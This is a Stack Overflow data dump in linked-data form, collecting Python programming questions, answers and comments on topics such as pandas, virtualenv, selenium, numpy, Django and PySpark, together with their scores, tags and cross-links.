has body: I'll try to address both of your questions together. This looks like a job for pd.merge_asof(), which merges on nearest-matching keys, rather than only on exact keys. Example data df1 date value 30/11/17 0.00 51 30/11/17 0.02 53 30/11/17 0.05 65 30/11/17 0.08 58 df2 date value 30/11/17 0.01 61 30/11/17 0.02 63 30/11/17 0.04 65 30/11/17 0.07 68 Preprocessing df1.date = pd.to_datetime(df1.date, format='%d/%m/%y %H.%M') df2.date = pd.to_datetime(df2.date, format='%d/%m/%y %H.%M') df1.set_index('date', inplace=True) df2.set_index('date', inplace=True) df1 value date 2017-11-30 00:00:00 51 2017-11-30 00:02:00 53 2017-11-30 00:05:00 65 2017-11-30 00:08:00 58 df2 value date 2017-11-30 00:01:00 61 2017-11-30 00:02:00 63 2017-11-30 00:04:00 65 2017-11-30 00:07:00 68 Merge DataFrames on nearest index match merged = pd.merge_asof(df1, df2, left_index=True, right_index=True, direction='nearest') merged value_x value_y date 2017-11-30 00:00:00 51 61 2017-11-30 00:02:00 53 63 2017-11-30 00:05:00 65 65 2017-11-30 00:08:00 58 68 Correlations Note that df.corr() doesn't accept data as an argument, so df1.corr(df2) doesn't work. The corr method computes pairwise correlation of the columns in the DataFrame you call it on (docs). merged.corr() value_x value_y value_x 1.000000 0.612873 value_y 0.612873 1.000000 Notes The above usage of pd.merge_asof keeps the index of df1; each row in df1 receives its closest match in df2, with replacement, so if df2 ever has fewer rows than df1, the result of merge_asof will contain duplicate values from df2. And the result will have the same number of rows as df1. You mentioned that you really only care to compare rows by relative position, e.g., compare the 3rd value of df1 to the 3rd value of df2. Instead of using merge_asof, you could simply ignore the time index once you've used it to obtain time periods of interest, and access the underlying numpy arrays with df.values: # Get a 2D array of shape (4, 1) df1.values array([[51], [53], [65], [58]]) #…

http://stackoverflow.com/comment/84552155
has text: try `df_output.to_csv('C:\\Users\\kdalal\\callerx_project\\caller_x\\new_file_name.csv', sep=',', encoding='utf-8')`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48774516
score: 0

http://stackoverflow.com/comment/84566661
type: Comment
has text: I got my answer, Thanks @8324
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48782612

http://stackoverflow.com/q/48735614
has comment: http://stackoverflow.com/comment/84474903
has comment: http://stackoverflow.com/comment/84474618
has comment: http://stackoverflow.com/comment/84472710
has comment: http://stackoverflow.com/comment/84474654
upvote count: 1
downvote count: 1
answer count: 1
tagged with: virtualenv
has comment: http://stackoverflow.com/comment/84473951
favorite count: 0
tagged with: python-3.x
has body: I'm trying to setup plain python3 virtual environment. I created my virtual environment and activate it virtualenv . &amp;&amp; source bin/activate But when I python3 --version and pip3 freeze, I see more than default python3 libraries. Here is python3 --version output (socketdirectory) lawn-143-215-57-83:socketdirectory jaeminbaek$ python3 --version Python 3.6.1 :: Anaconda 4.4.0 (x86_64) This is pip3 freeze result output zewn-143-215-57-83:socketdirectory mycomputer$ source bin/activate pip3 freeze backports.weakref==1.0rc1 bleach==1.5.0 certifi==2017.7.27.1 chardet==3.0.4 configparser==3.5.0 defusedxml==0.5.0 Django==1.11.4 django-allauth==0.32.0 django-crispy-forms==1.6.1 django-filter==1.0.4 django-widget-tweaks==1.4.1 djangorestframework==3.6.3 enum34==1.1.6 flake8==3.4.1 flake8-docstrings==1.1.0 flake8-polyfill==1.0.1 html5lib==0.9999999 idna==2.5 Keras==2.0.6 Markdown==2.6.8 mccabe==0.6.1 numpy==1.13.1 oauthlib==2.0.2 olefile==0.44 Pillow==4.2.1 protobuf==3.3.0 pycodestyle==2.3.1 pydocstyle==2.0.0 pyflakes==1.5.0 python3-openid==3.1.0 pytz==2017.2 PyYAML==3.12 requests==2.18.3 requests-oauthlib==0.8.0 scipy==0.19.1 six==1.10.0 snowballstemmer==1.2.1 tensorflow==1.2.1 Theano==0.9.0 urllib3==1.22 Werkzeug==0.12.2 Why is it importing so many libraries? UPDATE I'm getting this error when I use virtualenv -p python3 venv lawn-143-215-57-83:socketdirectory jaeminbaek$ virtualenv -p python3 venv Running virtualenv with interpreter /Users/jaeminbaek/anaconda/bin/python3 Using base prefix '/Users/jaeminbaek/anaconda' New python executable in /Users/jaeminbaek/Desktop/cs3251/socketdirectory/venv/bin/python3 Not overwriting existing python script /Users/jaeminbaek/Desktop/cs3251/socketdirectory/venv/bin/python (you must use /Users/jaeminba dyld: Library not loaded: @rpath/libpython3.6m.dylib Referenced from: /Users/jaeminbaek/Desktop/cs3251/socketdirectory/venv/bin/python3 Reason: image not found ERROR: The executable /Users/jaeminbaek/Desktop/cs3251/socketdirectory/ve…
has comment: http://stackoverflow.com/comment/84474568
tagged with: python
has comment: http://stackoverflow.com/comment/84474601
has comment: http://stackoverflow.com/comment/84474693
type: AnsweredQuestion
has title: importing unnecessary libraries when `virtualenv .`
has comment: http://stackoverflow.com/comment/84474729
type: Question
has answer: http://stackoverflow.com/a/48735687
accepted answer: http://stackoverflow.com/a/48735687
score: 0

http://stackoverflow.com/comment/131011538
type: Comment
comment on: http://stackoverflow.com/a/60560173
has text: upgrade pip did it for me! Thanks
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84536546
type: QuestionComment
comment on: http://stackoverflow.com/q/48763072
score: 0
has text: To check if My_Packet layer is present try with `if My_Packet in packet` - this works for the default protocols so maybe since packet is actually raw bytes should work also with your protocol.
type: Comment

http://stackoverflow.com/comment/84375836
type: Comment
comment on: http://stackoverflow.com/a/48682456
has text: @Boffin Updated, hope it is helpful.
score: 0
type: AnswerComment

http://stackoverflow.com/a/48767792
type: Answer
has comment: http://stackoverflow.com/comment/84536405
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/48767545
type: AcceptedAnswer
has body: If you want to get the keys as list, use: list( {'AccountNum': '873627867348', 'userID': 'abc'} ) #['AccountNum', 'userID'] for the values: list( v for k, v in {'AccountNum': '873627867348', 'userID': 'abc'}.items() ) #['873627867348', 'abc'] for both: list( {'AccountNum': '873627867348', 'userID': 'abc'}.items() ) #[('AccountNum', '873627867348'), ('userID', 'abc')] if you don't like it with tuple here an approach with more then one line: def dictToList(d): l = [] for k, v in d.items(): l.append(k) l.append(v) return l dictToList({'AccountNum': '873627867348', 'userID': 'abc'}) # ['AccountNum', '873627867348', 'userID', 'abc']
downvote count: 0
answers question: http://stackoverflow.com/q/48767545

http://stackoverflow.com/a/48695953
has body: What follows after if, will be casted to type bool, i.e. even though you put an integer in, python will have to cast it to bool, because if can only branch on the boolean values True or False. Now python evaluates all numbers except 0 to True in the bool(number) function. So basically if not n%x is the same thing as if not ((n%x) != 0). Example x=2: code inside the loop will be executed for even values of n.
score: 0
answers question: http://stackoverflow.com/q/48695791
type: Answer

http://stackoverflow.com/q/48703073
upvote count: 1
has answer: http://stackoverflow.com/a/48707363
type: Question
has comment: http://stackoverflow.com/comment/84404826
has title: selecting text node in selenium python with xpath
linked to: http://stackoverflow.com/q/48705508
has comment: http://stackoverflow.com/comment/84411314
has comment: http://stackoverflow.com/comment/108304221
has comment: http://stackoverflow.com/comment/84405974
has comment: http://stackoverflow.com/comment/84404595
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84406213
favorite count: 0
has answer: http://stackoverflow.com/a/48706495
type: UnansweredQuestion
has body: I want to select certain text that comes after an hr node with selenium and xpath. But I keep getting a WebDriverException Here is the html code I want to extract the text from: html snippet The text I want to get is: Introduction to financial ... business decisions I used this code: e = c.find_element_by_xpath("//div[@class='ajaxcourseindentfix']/hr/following-sibling::text()") The problem is that I keep getting this exception selenium.common.exceptions.WebDriverException: Message: TypeError: Expected an element or WindowProxy, got: [object Text] {} What should I do?
has comment: http://stackoverflow.com/comment/84405546
tagged with: python
linked to: http://stackoverflow.com/q/12325454
tagged with: xpath
has comment: http://stackoverflow.com/comment/84404647
score: 1
tagged with: selenium
has comment: http://stackoverflow.com/comment/84404541

http://stackoverflow.com/a/48736334
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84473217
type: Answer
has comment: http://stackoverflow.com/comment/84513516
accepted answer of: http://stackoverflow.com/q/48735986
has body: It should be started from 0 try: filename = "ArtIDs.txt" with open(filename, "r") as readfile: types = (line.split("\t") for line in readfile) xys = ((type[0], type[1]) for type in types) for x, y in xys: print(x,y) please try this one, may be it help: main = tk.Tk() frame = tk.Frame(main) frame.grid() tree = ttk.Treeview(main, columns=('1', '2')) tree.grid(column=0, sticky='N' + 'S' + 'E' + 'W') n = 1 with open(filename, "r") as readfile: types = (line.split("\t") for line in readfile) xys = ((type[0], type[1]) for type in types) for x, y in xys: tree.insert("", n, values=(x, y)) n+=1 main.mainloop()
answers question: http://stackoverflow.com/q/48735986

http://stackoverflow.com/q/48705153
tagged with: python
has answer: http://stackoverflow.com/a/48705187
tagged with: http://stackoverflow.com/tag/json
has title: How to retrieve values from a json file in a particular order?
type: Question
has comment: http://stackoverflow.com/comment/84408751
has body: I am new to python. I am writing a code, where I need to read the json file, and dump some of it's data to a new json file. Following is my code: if vmName=='IGW': with open(APIJSONPath+NwIntfJSONFileName) as f: data=json.load(f) for item in data['Interfaces']: jdata=item with open(NwIntfJSONPath+vmName+'.json','w') as c: json.dump(jdata,c,indent=2) Following is a small part of my json file data from which this code is supposed to retrieve the interface details(Interface name,IPAddress, PrefixLength, DefaultGateway) of eth0 and eth1: { "Interfaces": [{ "Name": "eth0", "IPConfigurations": [{ "IPAddress": "10.0.3.7", "PrefixLength": 24, "DefaultGateway": "10.0.3.1", "IsPrimary": true }], "Description0": "connected to cloudsimple network", "IsPrimary": true } , { "Name": "eth1", "IPConfigurations": [{ "IPAddress": "10.0.3.8", "PrefixLength": 24, "DefaultGateway": "10.0.3.1", "IsPrimary": true }], "Description1": "connected to internet" } ] } But the data that is getting dumped the new json file is: { "Name": "eth1", "IPConfigurations": [ { "PrefixLength": 24, "IsPrimary": true, "IPAddress": "10.0.3.8", "DefaultGateway": "10.0.3.1" } ], "Description1": "connected to internet" } Only eth1 details is getting dumped, not the eth0. The dumped data is also in an unordered manner. Can someone please help me figure out, where I am going wrong, and how to fix this two issues in my code? Thanks in advance.
score: 0
answer count: 1
type: UnansweredQuestion

http://stackoverflow.com/comment/84568083
comment on: http://stackoverflow.com/a/48781681
score: 0
type: Comment
type: AnswerComment
has text: @liliscent Ok, didn't realise that! +1 from me :)

http://stackoverflow.com/q/48654516
type: Question
tagged with: python
has title: How to get the a value from a dataframe depending on the id value got from another dataframe?
linked to: http://stackoverflow.com/q/20109391
score: 0
upvote count: 1
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/48654979
has comment: http://stackoverflow.com/comment/84307987
type: UnansweredQuestion
tagged with: dataframe
tagged with: pandas
has body: I am unsure on how to phrase my question, but if you did it in SQL it would be something like this: SELECT MOVIES.TITLE FROM MOVIES WHERE MOVIES.MOVIE_ID = RATINGS.MOVIE_ID I have the two dataframes, movies and ratings. I would like to do exactly as stated in the SQL statement. I have this so far: grouped_by_movies = ratings.groupby("movie_id") ## average and combine # your code here average_ratings = grouped_by_movies.rating.mean() average_ratings.columns = ['movie_id', 'average_rating'] print average_ratings.head() print "----------------------------------" ## IN ONE LINE OF CODE FOR AVERAGE: print ratings.groupby("movie_id").rating.mean().head() print "----------------------------------" # get the maximum rating # your code here max_rating = ratings.rating.max() print max_rating print "----------------------------------" ##print ratings.groupby("movie_id").rating.max().head() # get movie ids with that rating # your code here print ratings.loc[ratings["rating"] == max_rating, "movie_id"].head() print "----------------------------------" print "Good movie ids:" print #your code here sorted_movie_ids = average_ratings.sort_values(ascending = False) sorted_movie_ids = sorted_movie_ids.to_frame().reset_index() sorted_movie_ids.columns = ['movie_id', 'average_rating'] print sorted_movie_ids.head() print print "----------------------------------" print print "Best movie titles" print # your code here ids = sorted_movie_ids["movie_id"].unique() print ids movie_titles = movies.loc[movies['movie_id'].isin(ids), ['title']] print movie_titles.head()
has comment: http://stackoverflow.com/comment/84308059
favorite count: 0

http://stackoverflow.com/a/48668122
has comment: http://stackoverflow.com/comment/84336671
has comment: http://stackoverflow.com/comment/84343086
score: 1
accepted answer of: http://stackoverflow.com/q/48668031
upvote count: 2
has comment: http://stackoverflow.com/comment/84343004
answers question: http://stackoverflow.com/q/48668031
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84336805
has body: There are many ways to import images for training, you can use Tensorflow but these will be imported as Tensorflow objects, which you won't be able to visualize until you run the session. My favorite tool to import images is skimage.io.imread. The imported images will have the dimension (width, height, channels) Or you can use importing tool from scipy.misc. To resize images, you can use skimage.transform.resize. Before training, you will need to normalize all the images to have the values between 0 and 1. To do that, you simply divide the images by 255. The next step is to one hot encode your labels to be an array of 0s and 1s. Then you can build and train your CNN.
type: Answer
downvote count: 1

http://stackoverflow.com/a/48713180
answers question: http://stackoverflow.com/q/48713083
type: Answer
has body: Here is one solution: df['increase'] = [0] + [(d - c) if a == b else 0 for a, b, c, d in \ zip(df.a, df.a[1:], df.b, df.b[1:])] Some benchmarking vs @Wen's pandonic solution: df = pd.DataFrame({'a':['a','a','b','b','b']*20000,'b':[1,2,3,4,5]*20000}) %timeit [0] + [(d - c) if a == b else 0 for a, b, c, d in zip(df.a, df.a[1:], df.b, df.b[1:])] # 51.6 ms ± 898 µs per loop (mean ± std. dev. of 7 runs, 10 loops each) %timeit df.groupby('a').b.diff().fillna(0) # 37.8 ms ± 1.53 ms per loop (mean ± std. dev. of 7 runs, 10 loops each)
score: 0

http://stackoverflow.com/comment/84709939
score: 0
has text: @SanchariGhosh sorry that I am busy these days, cannot help :(
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48736800

http://stackoverflow.com/a/48804814
type: Answer
has comment: http://stackoverflow.com/comment/84613062
has body: run2 below generates a 30% improvement versus equivalent run1 (which you provided). Output is identical. While this may not be "plug and play" for your use case, it demonstrates some of the tricks you can use to improve performance. import datetime def run1(n): start_time = datetime.datetime.now() product = [] group = [] final_collect = [] for test_product in range(n): product.append({'title': test_product}) for (inx, item) in enumerate(product): group.append({'product': item, 'group-data': []}) for test_group in range(10): group[inx]['group-data'].append({'group': test_group, 'price': 100.0}) return group def run2(n): start_time = datetime.datetime.now() group = [{'product': {'title': i}, 'group-data': [{'group': test_group, 'price': 100.0} for test_group in range(10)]} \ for i in range(n)] return group assert run1(10) == run2(10) %timeit run1(50000) # 1 loop, best of 3: 372 ms per loop %timeit run2(50000) # 1 loop, best of 3: 260 ms per loop
answers question: http://stackoverflow.com/q/48803425
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84612995
accepted answer of: http://stackoverflow.com/q/48803425
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/48778638
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/48778162
has body: The problem lies in your definition of the expressions within your and_ conjunction. As of now you're comparing each field with the corresponding value which of course returns false for each comparison. To properly populate the and_ conjunction you have to create a list of what sqlalchemy calls BinaryExpression objects. In order to do so I'd change your code like this: 1) First use actual references to your table classes in your definition of fields: fields = { (Patient, 'firstname'): pierre.search_firstname.text(), (Patient, 'lastname'): pierre.search_lastname.text(), (Patient, 'address'): pierre.search_address.text(), (Patient, 'phone'): pierre.search_phone.text(), (Compound, 'compname'): pierre.search_compname.text(), (Compound, 'compstrength'): pierre.search_compstrength.text(), (Compound, 'compform'): pierre.search_compform.currentText(), (Prescribers, 'lastname'): pierre.search_doctor.text(), (Clinic, 'clinicname'): pierre.search_clinic.text() } 2) Define filters as a list instead of a dictionary: filters = list() 3) To populate the filters list explode the tuple of table and fieldname used as key in the fields dictionary and add the value to again create tuples but now with three elements. Append each of the newly created tuples to the list of filters: for table_field, value in fields.items(): table, field = table_field if value: filters.append((table, field, value)) 4) Now transform the created list of filter definitions to a list of BinaryExpression objects usable by sqlalchemy: binary_expressions = [getattr(table, attribute) == value for table, attribute, value in filters] 5) Finally apply the binary expressions to your query, make sure it's presented to the and_ conjunction in a consumable form: query = session.query(Archive).join(Patient, Prescribers, Clinic, Compound)\ .filter(and_(*binary_expressions)).all() I'm not able to test that solution within your configuration, but a similar test using my environment was successful.
has comment: http://stackoverflow.com/comment/84599389
answers question: http://stackoverflow.com/q/48778162
has comment: http://stackoverflow.com/comment/84607597
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84599263
type: Answer

http://stackoverflow.com/a/48678912
answers question: http://stackoverflow.com/q/48677605
has body: You can use Dataframe and UDF to parse the 'attributes' string. From the sample data you have given, 'attributes' doesn't seem to be a proper JSON or Dict. Assuming 'attributes' is just a string, here is a sample code using dataframe and Udf. from pyspark.sql import SparkSession from pyspark.sql.functions import * from pyspark.sql.types import * spark = SparkSession \ .builder \ .appName("test") \ .getOrCreate() #sample data data=[{ "city": "Tempe", "state": "AZ", "attributes": [ "BikeParking: True", "BusinessAcceptsBitcoin: False", "BusinessAcceptsCreditCards: True", "BusinessParking: {'garage': False, 'street': False, 'validated': False, 'lot': True, 'valet': False}", "DogsAllowed: False", "RestaurantsPriceRange2: 2", "WheelchairAccessible: True" ] }] df=spark.sparkContext.parallelize(data).toDF() User defined function to parse the string def get_attribute(data,attribute): return [list_item for list_item in data if attribute in list_item][0] register udf udf_get_attribute=udf(get_attribute, StringType Dataframe df.withColumn("BusinessAcceptsBitcoin",udf_get_attribute("attributes",lit("BusinessAcceptsBitcoin"))).select("city","BusinessAcceptsBitcoin").show(truncate=False) Sample output +-----+-----------------------------+ |city |BusinessAcceptsBitcoin | +-----+-----------------------------+ |Tempe|BusinessAcceptsBitcoin: False| +-----+-----------------------------+ you can use the same udf to query any other field too, for example df.withColumn("DogsAllowed",udf_get_attribute("attributes",lit("DogsAllowed"))).select("city","DogsAllowed").show(truncate=False)
upvote count: 1
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/84382942
score: 1

ode
tags question: http://stackoverflow.com/q/48759853
type: Tag
tag name: ode
tags question: http://stackoverflow.com/q/48761465

http://stackoverflow.com/a/48762523
has body: I assume you have a rrdtool installation with python bindings already on your system. If not, here is an installation description. Then, to loop over .rrd files in a given directory and performing a fetch: import os import rrdtool target_directory = "some/directory/with/rrdfiles" rrd_files = [os.path.join(target_directory, f) for f in os.listdir(target_directory) if f.endswith('.rrd')] data_container = [] for rrd_file in rrd_files: data = rrdtool.fetch(rrd_file, 'AVERAGE' # or whichever CF you need '--resolution', '200', # for example ) # and any other settings you need data_container.append(data) The parameter list follows rrdfetch. Once you have whatever data you need inside the rrd_files loop, you should accumulate it in a list of lists, with each sublist being one row of data. Writing them to a csv is as easy as this: import csv # read the .rrd data as above into a 'data_container' variable with open('my_data.csv', 'w', newline='') as csv_file: rrd_writer = csv.writer(csv_file) for row in data_container: rrd_writer.writerow(row) This should outline the general steps you have to follow, you will probably need to adapt them (the rrdfetch in particular) to your case.
has comment: http://stackoverflow.com/comment/127657923
score: 1
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48761749
has comment: http://stackoverflow.com/comment/84528914
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/127313077
accepted answer of: http://stackoverflow.com/q/48761749

http://stackoverflow.com/comment/84359767
comment on: http://stackoverflow.com/q/48681139
score: 0
type: Comment
type: QuestionComment
has text: @ODP anyways, have a look at difflib (in particular sequence matcher). But I think it only helps to solve parts of the problem (telling similarities between same letters with a little different ordering). There are also many distance measures for strings, I just don't think they generalize so easily to other unicode characters or even the visual similarity between them. You will probably have to fix similarity numbers beforehand.

http://stackoverflow.com/q/48647589
has comment: http://stackoverflow.com/comment/84292715
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/48647735
has body: I recently was given a question in a coding challenge where I had to merge n strings of alphanumeric characters and then sort the new merged string while only allowing alphabetical characters in the sorted string. Now, this would be fairly straight forward except that the caveat added was that the algorithm had to be O(n) (it didn't specify whether this was time or space complexity or both). My initial approach was to concatenate the strings into a new one, only adding alphabetical characters and then sorting at the end. I wanted to come up with a more efficient solution but I was given less time than I was initially told. There isn't any sorting algorithm (that I know of) which runs in O(n) time, so the only thing I can think of is that I could increase the space complexity and use a sorted hashtable (e.g. C++ map) to store the counts of each character and then print the hashtable in sorted order. But as this would require possibly printing n characters n times, I think it would still run in quadratic time. Also, I was using python which I don't think has a way to keep a dictionary sorted (maybe it does). Is there anyway this problem could have been solved in O(n) time and/or space complexity?
accepted answer: http://stackoverflow.com/a/48647735
tagged with: algorithm
has comment: http://stackoverflow.com/comment/84292852
has answer: http://stackoverflow.com/a/48647724
has title: Merging and sorting n strings in O(n)
type: AnsweredQuestion
tagged with: string
tagged with: sorting
has answer: http://stackoverflow.com/a/48647790
type: Question
tagged with: python
possible better answer: http://stackoverflow.com/a/48647790
tagged with: c++

http://stackoverflow.com/q/48673723
linked to: http://stackoverflow.com/q/6323852
tagged with: django
tagged with: python
has title: NoReverseMatch at /accounts/password/reset/ django registration redux
type: AnsweredQuestion
type: Question
answer count: 1
score: 0
has body: I'm trying to use django-registration-redux for my authentication in my project, but when testing out the password reset, I come up with an error containing the following traceback Internal Server Error: /accounts/password/reset/ Traceback (most recent call last): File "/home/agozie/anaconda3/envs/env1/lib/python2.7/site-packages/django/core/handlers/exception.py", line 41, in inner response = get_response(request) File "/home/agozie/anaconda3/envs/env1/lib/python2.7/site-packages/django/core/handlers/base.py", line 187, in _get_response response = self.process_exception_by_middleware(e, request) File "/home/agozie/anaconda3/envs/env1/lib/python2.7/site-packages/django/core/handlers/base.py", line 185, in _get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/agozie/anaconda3/envs/env1/lib/python2.7/site-packages/django/views/generic/base.py", line 68, in view return self.dispatch(request, *args, **kwargs) File "/home/agozie/anaconda3/envs/env1/lib/python2.7/site-packages/django/utils/decorators.py", line 67, in _wrapper return bound_func(*args, **kwargs) File "/home/agozie/anaconda3/envs/env1/lib/python2.7/site-packages/django/utils/decorators.py", line 149, in _wrapped_view response = view_func(request, *args, **kwargs) File "/home/agozie/anaconda3/envs/env1/lib/python2.7/site-packages/django/utils/decorators.py", line 63, in bound_func return func.__get__(self, type(self))(*args2, **kwargs2) File "/home/agozie/anaconda3/envs/env1/lib/python2.7/site-packages/django/contrib/auth/views.py", line 418, in dispatch return super(PasswordResetView, self).dispatch(*args, **kwargs) File "/home/agozie/anaconda3/envs/env1/lib/python2.7/site-packages/django/views/generic/base.py", line 88, in dispatch return handler(request, *args, **kwargs) File "/home/agozie/anaconda3/envs/env1/lib/python2.7/site-packages/django/views/generic/edit.py", line 183, in post return self.form_valid(form) File "/home/agozie/anaconda3/envs/env1/lib/python2…
has answer: http://stackoverflow.com/a/48673874
accepted answer: http://stackoverflow.com/a/48673874

http://stackoverflow.com/q/48734949
has title: Numpy dot product problems
has comment: http://stackoverflow.com/comment/84470142
type: Question
tagged with: numpy
linked to: http://stackoverflow.com/q/48492429
has answer: http://stackoverflow.com/a/48735119
downvote count: 0
has answer: http://stackoverflow.com/a/48735331
has body: A=np.array([ [1,2], [3,4] ]) B=np.ones(2) A is clearly of shape 2X2 How does numpy allow me to compute a dot product np.dot(A,B) [1,2] (dot) [1,1] [3,4] B has to have dimensions of 2X1 for a dot product or rather this [1,2] (dot) [1] [3,4] [1] This is a very silly question but i am not able to figure out where i am going wrong here? Earlier i used to think that np.ones(2) would give me this: [1] [1] But it gives me this: [1,1]
answer count: 3
tagged with: python
score: 1
has answer: http://stackoverflow.com/a/48745762
has comment: http://stackoverflow.com/comment/84469202
favorite count: 0
has comment: http://stackoverflow.com/comment/84470714
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/84469247
linked to: http://stackoverflow.com/q/48727120

http://stackoverflow.com/q/48745598
favorite count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84497293
type: UnansweredQuestion
tagged with: python
tagged with: nipype
type: Question
score: 2
downvote count: 0
has answer: http://stackoverflow.com/a/58734447
has body: Having problem with slicing niimg from nibabel.get_data(). When this function of Nipype tutorial was used, def plot_slice(fname, z_idx=5): # Load the image and collect the data # and orientation information img = nib.load(fname) data = img.get_data() aff = img.get_affine() # Find the center of the brain matrix ctr = np.dot(np.linalg.inv(aff), [0, 0, 0, 1])[:3] # Plot the data vmin, vmax = (0, 1) if data.dtype == np.int16 else (30, 150) plt.imshow(np.rot90(data[:, :, ctr[2] + z_idx]), cmap="gray", vmin=vmin, vmax=vmax) plt.gca().set_axis_off() to run plot_slice("output/run001_bet.nii.gz") Then the result turns out to be something like this; --------------------------------------------------------------------------- IndexError Traceback (most recent call last) &lt;ipython-input-10-5b2c71c131be&gt; in &lt;module&gt;() ----&gt; 1 plot_slice("output/run001_bet.nii.gz") &lt;ipython-input-8-4c2563317c99&gt; in plot_slice(fname, z_idx) 12 # Plot the data 13 vmin, vmax = (0, 1) if data.dtype == np.int16 else (30, 150) ---&gt; 14 plt.imshow(np.rot90(data[:, :, ctr[2] + z_idx]), 15 cmap="gray", vmin=vmin, vmax=vmax) 16 plt.gca().set_axis_off() IndexError: only integers, slices (`:`), ellipsis (`...`), numpy.newaxis (`None`) and integer or boolean arrays are valid indices
has title: Error in Nibabel when running Nipype tutorial
answer count: 1
has comment: http://stackoverflow.com/comment/84517885

http://stackoverflow.com/a/48737733
type: Answer
score: 1
upvote count: 1
has body: I don't see any issue with groupby on pandas dataframe. import pandas as pd df = pd.read_csv('data/data.csv', header=None) df = df.groupby([0])[1].sum() df.to_csv('data/group.csv') based on sample data as input in data.csv, i got following output in group.csv 25,117 35,180 45,140
downvote count: 0
answers question: http://stackoverflow.com/q/48736506

http://stackoverflow.com/q/48757312
has comment: http://stackoverflow.com/comment/84517905
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/48757376
score: 0
tagged with: php
answer count: 1
tagged with: laravel
tagged with: video
has comment: http://stackoverflow.com/comment/84516873
has body: I'm sending a video file encoded with base64 on python but when i recive the video and open it there's only an image of the file. So my guess is that probably is not decoding properly on php. Here is my php code for decoding and saving the video. $video_encode_string = request('video'); $video_decode = base64_decode($video_encode_string); $path = public_path().'/video/'.$device-&gt;id.'/'; $date = new \DateTime('now'); $file = fopen($path.date_format($date, 'Y-m-d H:i:s').'.mp4','wb'); fwrite($file,$video_decode); fclose($file); As you can see I'm working on laravel. And here is my python code for coding and sending the file. with open(completed_video,'rb') as f: video = f.read() encode_video = base64.b64encode(video) json = {'ip_address': '10.10.10.110', 'date': time.strftime('%Y-%m-%d %H:%M:%S'), 'video': encode_video} r = self.api.post(json,'createvideo') a = r.json() print(a) I'm working with a Raspberry Pi and recording a video from a streaming video and then sending it and when i play the video with omxplayer it works perfectly on any type of video format. I'm actually wondering if it has to decode it in chunks
has title: Base64 decode incomplete file between Python and PHP
has comment: http://stackoverflow.com/comment/84598193
tagged with: base64
type: UnansweredQuestion

http://stackoverflow.com/comment/84343649
has text: @TemporalWolf interesting. 64-bit too? Going to dust off Canopy.
comment on: http://stackoverflow.com/q/48672478
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84471581
type: Comment
score: 1
type: AnswerComment
has text: I see. Yes, declaring a explicit route worked. I assumed using a router was good practice. This explains why my other approach worked. Thanks!
comment on: http://stackoverflow.com/a/48736104

http://stackoverflow.com/comment/84383124
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48691083
type: QuestionComment
has text: Thanks for helping! If you look at the json in the link, the date format is '%Y-%m-%d'. An example is: '1947-01-01'. https://raw.githubusercontent.com/FreeCodeCamp/ProjectReferenceData/master/GDP-data.json

http://stackoverflow.com/comment/84564084
has text: Maybe some whitespaces, what is `omzet_activity_paid_count_january_devices.No.head().tolist()` ?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48781344

http://stackoverflow.com/comment/94743978
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48668740
has text: Hey dude, sorry people dinged you for grammar. That's bad behavior on their part.

http://stackoverflow.com/comment/84534486
type: QuestionComment
type: Comment
has text: In which environment variable? It has to be set in `%PATH%`, which it isn't according to your confirmation on my comment
score: 0
comment on: http://stackoverflow.com/q/48765428

http://stackoverflow.com/comment/84385747
type: Comment
type: QuestionComment
has text: I am using Fedora...
score: 0
comment on: http://stackoverflow.com/q/48653620

http://stackoverflow.com/comment/101837420
type: QuestionComment
has text: I have the exact same issue but this seems to break things for me. When I do this and the call `pip3` I get `AttributeError: module 'enum' has no attribute 'IntFlag' ` Did you find any other solution?
comment on: http://stackoverflow.com/q/48791432
score: 0
type: Comment

http://stackoverflow.com/comment/84511100
type: AnswerComment
has text: Could you show me what this would look like with a for loop?
type: Comment
comment on: http://stackoverflow.com/a/48754847
score: 0

http://stackoverflow.com/comment/84591049
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48774463
has text: "description" is one of the CSS class names of the element that contain's the list item's description.

http://stackoverflow.com/q/48804214
upvote count: 1
tagged with: python
linked to: http://stackoverflow.com/q/20101834
has body: I want to fully download this package, which I downloaded from the GitHub website, but I do not know how to run this package. There is no file named [setup.py] in the package that came with the command [python setup.py install] I install it and when I download a package from the GitHub website, how should we run that package? What order does it mean? How to run on a Windows system when we download a Python package that we download from the GitHub website? How to run the whole download package? Please explain in full The address of the packet download in the GitHub: https://github.com/ironman5366/W.I.L.L Help me please Thank you
has comment: http://stackoverflow.com/comment/84615687
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84611192
has comment: http://stackoverflow.com/comment/84613168
score: 0
duplicate of: http://stackoverflow.com/q/20101834
has comment: http://stackoverflow.com/comment/84614304
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48804395
has title: How to run and install a download python package from the GitHub website?
accepted answer: http://stackoverflow.com/a/48804395
answer count: 1
has comment: http://stackoverflow.com/comment/84624385
tagged with: github
favorite count: 0
has comment: http://stackoverflow.com/comment/84614644
